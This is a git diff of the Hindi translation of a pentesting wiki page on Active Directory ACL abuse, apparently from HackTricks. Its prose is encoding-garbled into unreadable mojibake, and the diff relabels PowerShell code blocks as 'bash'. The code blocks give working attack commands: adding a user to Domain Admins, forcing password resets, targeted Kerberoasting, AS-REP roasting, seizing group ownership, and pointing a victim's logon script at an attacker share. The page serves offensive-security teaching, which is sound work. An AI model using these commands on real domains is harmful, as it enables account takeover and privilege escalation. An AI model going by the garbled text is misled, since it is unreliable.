рд╕рдВрдЧреНрд░рд╣ рд╣реИ рдЬрд┐рд╕реЗ Beacon рдХреЗ `execute-assembly` рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред +[SweetPotato](https://github.com/CCob/SweetPotato) рдХреЗ рдкрд╛рд╕ рдЗрди рд╡рд┐рднрд┐рдиреНрди рддрдХрдиреАрдХреЛрдВ рдХрд╛ рдПрдХ рд╕рдВрдЧреНрд░рд╣ рд╣реИ рдЬрд┐рд╕реЗ Beacon рдХреЗ `execute-assembly` рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md index 833fe2ad6..649705039 100644 --- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md +++ b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md @@ -6,25 +6,25 @@ ## **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ GenericAll рдЕрдзрд┐рдХрд╛рд░** -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЬрдм `GenericAll` рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ `Get-ObjectAcl` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХреА рдЬрд╛рддреА рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд▓рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдкрд░ рдкреВрд░реНрдг рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИред рдПрдХ рдмрд╛рд░ рдЬрдм `Get-ObjectAcl` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ `GenericAll` рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреА рдкреБрд╖реНрдЯрд┐ рд╣реЛ рдЬрд╛рддреА рд╣реИ, рддреЛ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: - **рд▓рдХреНрд╖рд┐рдд рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдмрджрд▓реЗрдВ**: `net user /domain` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ, рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИред - **рд▓рдХреНрд╖рд┐рдд Kerberoasting**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдЦрд╛рддреЗ рдХреЛ kerberoastable рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ SPN рдЕрд╕рд╛рдЗрди рдХрд░реЗрдВ, рдлрд┐рд░ Rubeus рдФрд░ targetedKerberoast.py рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЯрд┐рдХрдЯ-рдЧреНрд░рд╛рдВрдЯрд┐рдВрдЧ рдЯрд┐рдХрдЯ (TGT) рд╣реИрд╢ рдХреЛ рдирд┐рдХрд╛рд▓реЗрдВ рдФрд░ рдХреНрд░реИрдХ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред -```powershell +```bash Set-DomainObject -Credential $creds -Identity -Set @{serviceprincipalname="fake/NOTHING"} .\Rubeus.exe kerberoast /user: /nowrap Set-DomainObject -Credential $creds -Identity -Clear serviceprincipalname -Verbose ``` -- **Targeted ASREPRoasting**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реА-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХрд╛ рдЦрд╛рддрд╛ ASREPRoasting рдХреЗ рдкреНрд░рддрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред -```powershell +- **Targeted ASREPRoasting**: рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░реА-рдкреНрд░рдорд╛рдгреАрдХрд░рдг рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд░реЗрдВ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХрд╛ рдЦрд╛рддрд╛ ASREPRoasting рдХреЗ рд▓рд┐рдП рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИред +```bash Set-DomainObject -Identity -XOR @{UserAccountControl=4194304} ``` ## **GenericAll рдЕрдзрд┐рдХрд╛рд░ рд╕рдореВрд╣ рдкрд░** -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╕рдореВрд╣ рдХреА рд╕рджрд╕реНрдпрддрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрджрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ `GenericAll` рдЕрдзрд┐рдХрд╛рд░ рдХрд┐рд╕реА рд╕рдореВрд╣ рдкрд░ рд╣реИрдВ рдЬреИрд╕реЗ `Domain Admins`ред рд╕рдореВрд╣ рдХрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдирд╛рдо рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рдмрд╛рдж `Get-NetGroup` рдХреЗ рд╕рд╛рде, рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рд╕рдореВрд╣ рдХреА рд╕рджрд╕реНрдпрддрд╛ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрджрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ `GenericAll` рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ рдЬреИрд╕реЗ рдХрд┐ `Domain Admins` рдкрд░ред рд╕рдореВрд╣ рдХрд╛ рд╡рд┐рд╢рд┐рд╖реНрдЯ рдирд╛рдо рдкрд╣рдЪрд╛рдирдиреЗ рдХреЗ рдмрд╛рдж `Get-NetGroup` рдХреЗ рд╕рд╛рде, рд╣рдорд▓рд╛рд╡рд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИ: - **рдЕрдкрдиреЗ рдЖрдк рдХреЛ Domain Admins рд╕рдореВрд╣ рдореЗрдВ рдЬреЛрдбрд╝реЗрдВ**: рдпрд╣ рд╕реАрдзреЗ рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдпрд╛ Active Directory рдпрд╛ PowerSploit рдЬреИрд╕реЗ рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред -```powershell +```bash net group "domain admins" spotless /add /domain Add-ADGroupMember -Identity "domain admins" -Members spotless Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local" @@ -34,33 +34,33 @@ Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense. рдЗрди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХреЛ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдпрд╛ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдкрд░ рд░рдЦрдиреЗ рд╕реЗ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ: - **Kerberos Resource-based Constrained Delegation**: рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдСрдмреНрдЬреЗрдХреНрдЯ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред -- **Shadow Credentials**: рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЫрд╛рдпрд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдПред +- **Shadow Credentials**: рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдПрдХ рдХрдВрдкреНрдпреВрдЯрд░ рдпрд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЦрд╛рддреЗ рдХрд╛ рдЕрдиреБрдХрд░рдг рдХрд░реЗрдВ, рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░реЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╢реИрдбреЛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдПред ## **WriteProperty on Group** рдпрджрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдореВрд╣ (рдЬреИрд╕реЗ, `Domain Admins`) рдХреЗ рд╕рднреА рдСрдмреНрдЬреЗрдХреНрдЯреНрд╕ рдкрд░ `WriteProperty` рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡реЗ: -- **Domain Admins Group рдореЗрдВ рдЦреБрдж рдХреЛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ**: `net user` рдФрд░ `Add-NetGroupUser` рдХрдорд╛рдВрдбреЛрдВ рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдпрд╣ рд╡рд┐рдзрд┐ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред -```powershell +- **Domain Admins Group рдореЗрдВ рдЦреБрдж рдХреЛ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВ**: `net user` рдФрд░ `Add-NetGroupUser` рдХрдорд╛рдВрдбреНрд╕ рдХреЛ рдорд┐рд▓рд╛рдХрд░ рдпрд╣ рд╡рд┐рдзрд┐ рдбреЛрдореЗрди рдХреЗ рднреАрддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╡реГрджреНрдзрд┐ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **Self (Self-Membership) on Group** -рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рдЙрдиреНрд╣реЗрдВ `Domain Admins` рдЬреИрд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдРрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛ рд╕рдореВрд╣ рд╕рджрд╕реНрдпрддрд╛ рдХреЛ рд╕реАрдзреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрджреЗрд╢ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрддреНрдо-рдЬреЛрдбрд╝реА рдЬрд╛ рд╕рдХрддреА рд╣реИ: -```powershell +рдпрд╣ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ `Domain Admins` рдЬреИрд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╕реНрд╡рдпрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдРрд╕реЗ рдЖрджреЗрд╢реЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЬреЛ рд╕рдореВрд╣ рдХреА рд╕рджрд╕реНрдпрддрд╛ рдХреЛ рд╕реАрдзреЗ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддреЗ рд╣реИрдВред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЖрджреЗрд╢ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рдпрдВ рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ: +```bash net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain ``` ## **WriteProperty (Self-Membership)** рдПрдХ рд╕рдорд╛рди рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░, рдпрд╣ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЛ рд╕рдореВрд╣ рдЧреБрдгреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рд╕реАрдзреЗ рд╕рдореВрд╣реЛрдВ рдореЗрдВ рд╕реНрд╡рдпрдВ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдпрджрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ рдЙрди рд╕рдореВрд╣реЛрдВ рдкрд░ `WriteProperty` рдЕрдзрд┐рдХрд╛рд░ рд╣реИред рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреА рдкреБрд╖реНрдЯрд┐ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ: -```powershell +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} net group "domain admins" spotless /add /domain ``` ## **ForceChangePassword** -`User-Force-Change-Password` рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ `ExtendedRight` рд░рдЦрдиреЗ рд╕реЗ рд╡рд░реНрддрдорд╛рди рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЬрд╛рдиреЗ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреА рдкреБрд╖реНрдЯрд┐ рдФрд░ рдЗрд╕рдХреЗ рд╢реЛрд╖рдг рдХреЛ PowerShell рдпрд╛ рд╡реИрдХрд▓реНрдкрд┐рдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдзрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╕рддреНрд░ рдФрд░ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ-рд▓рд╛рдЗрдирд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдХрдорд╛рдВрдб рд╕рд░рд▓ PowerShell рдХреЙрд▓ рд╕реЗ рд▓реЗрдХрд░ Linux рдкрд░ `rpcclient` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рддрдХ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдорд▓реЗ рдХреЗ рд╡реЗрдХреНрдЯрд░ рдХреА рдмрд╣реБрдкрд░рдХрд╛рд░реАрддрд╛ рдХреЛ рджрд░реНрд╢рд╛рддреЗ рд╣реИрдВред -```powershell +`User-Force-Change-Password` рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░ `ExtendedRight` рд░рдЦрдиреЗ рд╕реЗ рд╡рд░реНрддрдорд╛рди рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЬрд╛рдиреЗ рдмрд┐рдирд╛ рдкрд╛рд╕рд╡рд░реНрдб рд░реАрд╕реЗрдЯ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред рдЗрд╕ рдЕрдзрд┐рдХрд╛рд░ рдХреА рдкреБрд╖реНрдЯрд┐ рдФрд░ рдЗрд╕рдХреЗ рд╢реЛрд╖рдг рдХреЛ PowerShell рдпрд╛ рд╡реИрдХрд▓реНрдкрд┐рдХ рдХрдорд╛рдВрдб-рд▓рд╛рдЗрди рдЙрдкрдХрд░рдгреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд░реАрд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрдИ рд╡рд┐рдзрд┐рдпрд╛рдБ рдкреНрд░рджрд╛рди рдХрд░рддреЗ рд╣реИрдВ, рдЬрд┐рд╕рдореЗрдВ рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╕рддреНрд░ рдФрд░ рдЧреИрд░-рдЗрдВрдЯрд░реИрдХреНрдЯрд┐рд╡ рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ-рд▓рд╛рдЗрдирд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред рдХрдорд╛рдВрдб рд╕рд░рд▓ PowerShell рдЖрд╡рд╛рд╣рдиреЛрдВ рд╕реЗ рд▓реЗрдХрд░ Linux рдкрд░ `rpcclient` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рддрдХ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╣рдорд▓реЗ рдХреЗ рд╡реЗрдХреНрдЯрд░ рдХреА рдмрд╣реБрдкрд░рдХрд╛рд░реАрддрд╛ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреЗ рд╣реИрдВред +```bash Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainUserPassword -Identity delegate -Verbose Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose @@ -72,8 +72,8 @@ rpcclient -U KnownUsername 10.10.10.192 ``` ## **WriteOwner on Group** -рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ рдПрдХ рд╕рдореВрд╣ рдкрд░ `WriteOwner` рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡реЗ рд╕рдореВрд╣ рдХреА рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХреЛ рдЕрдкрдиреЗ рдирд╛рдо рдкрд░ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдкреНрд░рднрд╛рд╡рд╢рд╛рд▓реА рд╣реЛрддрд╛ рд╣реИ рдЬрдм рд╕рдВрдмрдВрдзрд┐рдд рд╕рдореВрд╣ `Domain Admins` рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдмрджрд▓рдиреЗ рд╕реЗ рд╕рдореВрд╣ рдХреЗ рдЧреБрдгреЛрдВ рдФрд░ рд╕рджрд╕реНрдпрддрд╛ рдкрд░ рд╡реНрдпрд╛рдкрдХ рдирд┐рдпрдВрддреНрд░рдг рдкреНрд░рд╛рдкреНрдд рд╣реЛрддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `Get-ObjectAcl` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд╣реА рд╡рд╕реНрддреБ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ рд╕реНрд╡рд╛рдореА рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП `Set-DomainObjectOwner` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИ, рдпрд╛ рддреЛ SID рджреНрд╡рд╛рд░рд╛ рдпрд╛ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ред -```powershell +рдпрджрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдЙрдирдХреЗ рдкрд╛рд╕ рдПрдХ рд╕рдореВрд╣ рдкрд░ `WriteOwner` рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВ, рддреЛ рд╡реЗ рд╕рдореВрд╣ рдХреА рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдХреЛ рдЕрдкрдиреЗ рдирд╛рдо рдкрд░ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдЬрдм рд╕рдВрдмрдВрдзрд┐рдд рд╕рдореВрд╣ `Domain Admins` рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ рд╕реНрд╡рд╛рдорд┐рддреНрд╡ рдмрджрд▓рдиреЗ рд╕реЗ рд╕рдореВрд╣ рдХреЗ рдЧреБрдгреЛрдВ рдФрд░ рд╕рджрд╕реНрдпрддрд╛ рдкрд░ рд╡реНрдпрд╛рдкрдХ рдирд┐рдпрдВрддреНрд░рдг рдорд┐рд▓рддрд╛ рд╣реИред рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ `Get-ObjectAcl` рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рд╣реА рдСрдмреНрдЬреЗрдХреНрдЯ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдирд╛ рдФрд░ рдлрд┐рд░ `Set-DomainObjectOwner` рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрд╡рд╛рдореА рдХреЛ SID рдпрд╛ рдирд╛рдо рджреНрд╡рд╛рд░рд╛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ рд╢рд╛рдорд┐рд▓ рд╣реИред +```bash Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"} Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico @@ -81,13 +81,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico ## **GenericWrite on User** рдпрд╣ рдЕрдиреБрдорддрд┐ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЧреБрдгреЛрдВ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИред рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ, `GenericWrite` рдкрд╣реБрдВрдЪ рдХреЗ рд╕рд╛рде, рд╣рдорд▓рд╛рд╡рд░ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд▓реЙрдЧрд┐рди рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдкрде рдХреЛ рдмрджрд▓ рд╕рдХрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧрд┐рди рдкрд░ рдПрдХ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛ рд╕рдХреЗред рдпрд╣ `Set-ADObject` рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд▓рдХреНрд╖рд┐рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ `scriptpath` рдЧреБрдг рдХреЛ рд╣рдорд▓рд╛рд╡рд░ рдХреА рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдбреЗрдЯ рдХрд░рдХреЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред -```powershell +```bash Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1" ``` ## **GenericWrite on Group** -рдЗрд╕ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рдХреЗ рд╕рд╛рде, рд╣рдорд▓рд╛рд╡рд░ рд╕рдореВрд╣ рдХреА рд╕рджрд╕реНрдпрддрд╛ рдореЗрдВ рд╣реЗрд░рдлреЗрд░ рдХрд░ 